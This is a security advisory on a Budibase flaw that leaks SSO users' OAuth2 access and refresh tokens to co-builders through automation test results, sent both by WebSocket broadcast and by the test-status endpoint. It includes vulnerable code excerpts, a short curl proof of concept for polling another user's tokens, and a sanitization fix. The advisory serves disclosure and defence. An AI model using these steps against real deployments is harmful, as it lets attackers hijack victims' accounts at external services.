Budibase: OAuth2 Token Disclosure via Automation Test Results Broadcast to Other Builders

Overview

Summary

When an SSO-authenticated user tests an automation in the Budibase builder, their OAuth2 access token and refresh token are included in the automation test results. These results are broadcast via WebSocket to all builders connected to the same dev app and stored in an in-memory cache accessible to any builder who polls the test status endpoint. This allows any co-builder of the same app to steal the testing user's OAuth2 tokens.

Details

The vulnerability exists because getUserContextBindings() intentionally includes OAuth2 tokens in user context bindings (so automations can call external APIs), but the automation test pipeline exposes the full result — including these tokens — to all builders of the same app without sanitization.

Step 1: Tokens included in user bindings

In packages/server/src/sdk/users/utils.ts:134-161:

export function getUserContextBindings(user: ContextUser): UserBindings {
  const bindings: UserBindings = {
    _id: user._id,
    email: user.email,
    // ...
  }
  if (isSSOUser(user) && user.oauth2) {
    bindings.oauth2 = {
      accessToken: user.oauth2.accessToken,   // <-- sensitive
      refreshToken: user.oauth2.refreshToken,  // <-- sensitive
    }
  }
  return bindings
}

Step 2: Bindings passed to automation execution

In packages/server/src/api/controllers/automation.ts:311-312:

const user = sdk.users.getUserContextBindings(ctx.user)
return await triggers.externalTrigger(
  { ...automation, disabled: false },
  { ...input, appId, user },  // user with tokens passed as event param
  { getResponses: true, onProgress: emitProgress }
)

Step 3: Tokens placed in trigger outputs

In packages/server/src/threads/automation.ts:409-413:

const trigger: AutomationTriggerResult = {
  id: data.automation.definition.trigger.id,
  stepId: data.automation.definition.trigger.stepId,
  inputs: null,
  outputs: data.event,  // data.event includes user.oauth2 tokens
}

Step 4: Result broadcast without sanitization

The full result (including trigger.outputs.user.oauth2) is exposed via two vectors:

1. WebSocket broadcast — builderSocket.emitToRoom() calls this.io.in(room).emit() (packages/server/src/websockets/websocket.ts:291) which sends to ALL sockets in the app's room, not just the originator.

2. Test status endpoint — recordTestProgress() stores the result in a Map keyed by ${appId}:${automationId} with no user isolation (packages/server/src/automations/testProgress.ts:41-74). Any builder can call GET /api/automations/:id/test/status to retrieve another user's test results.

PoC

Requires two builder-level users on the same Budibase app, where User A authenticates via SSO/OIDC (Google, Azure AD, etc.) which provides OAuth2 tokens.

# Step 1: User A (SSO-authenticated builder) tests an automation asynchronously
curl -X POST http://localhost:10000/api/automations/<automation-id>/test?async=true \
  -H 'x-budibase-app-id: app_dev_<appid>' \
  -H 'Cookie: budibase:auth=<userA_session>' \
  -H 'Content-Type: application/json' \
  -d '{"row": {"tableId": "ta_xxx"}}'
# Returns: {"message": "Automation test started"}

# Step 2: User B (another builder on the same app) polls the test status
curl -X GET http://localhost:10000/api/automations/<automation-id>/test/status \
  -H 'x-budibase-app-id: app_dev_<appid>' \
  -H 'Cookie: budibase:auth=<userB_session>'

# Response includes the full automation result with:
# result.trigger.outputs.user.oauth2.accessToken = "ya29.a0AfH6SM..."
# result.trigger.outputs.user.oauth2.refreshToken = "1//0eXyz..."

Additionally, User B can passively receive the tokens by simply having the Budibase builder open (connected via WebSocket), as the BuilderSocketEvent.AutomationTestProgress event with status: "complete" includes the full result payload.

Impact

• OAuth2 access tokens for external services (Google Workspace, Azure AD, GitHub, etc.) are exposed to co-builders of the same app. These tokens can be used to access external APIs as the victim user.
• OAuth2 refresh tokens provide persistent access — an attacker can generate new access tokens even after the original expires, maintaining long-term access to the victim's external service accounts.
• The attack is passive via WebSocket — an attacker only needs to have the builder UI open to receive tokens when any co-builder tests an automation.
• Test results persist in memory for 5 minutes (TTL in testProgress.ts:15), providing a window for polling-based attacks.

Recommended Fix

Strip OAuth2 tokens from automation test results before storing/broadcasting them. The tokens are needed during automation execution but should not be included in the result sent to clients.

In packages/server/src/api/controllers/automation.ts, sanitize the result before passing to emitProgress:

function sanitizeAutomationResult(result: AutomationResults): AutomationResults {
  const sanitized = cloneDeep(result)
  if (sanitized.trigger?.outputs?.user?.oauth2) {
    delete sanitized.trigger.outputs.user.oauth2
  }
  for (const step of sanitized.steps || []) {
    if (step.outputs?.user?.oauth2) {
      delete step.outputs.user.oauth2
    }
  }
  return sanitized
}

Apply sanitization in the emitProgress callback at line 290 and before returning ctx.body at line 342:

emitProgress({
  status: "complete",
  occurredAt: Date.now(),
  result: sanitizeAutomationResult(result),
})

Additionally, the testProgress store should be scoped per-user (keyed by ${appId}:${automationId}:${userId}) so that one builder's test results are not accessible to another builder via the testStatus endpoint.

Affected packages

• @budibase/server <= 3.38.1

Remediation

Refer to the advisory for the patched release.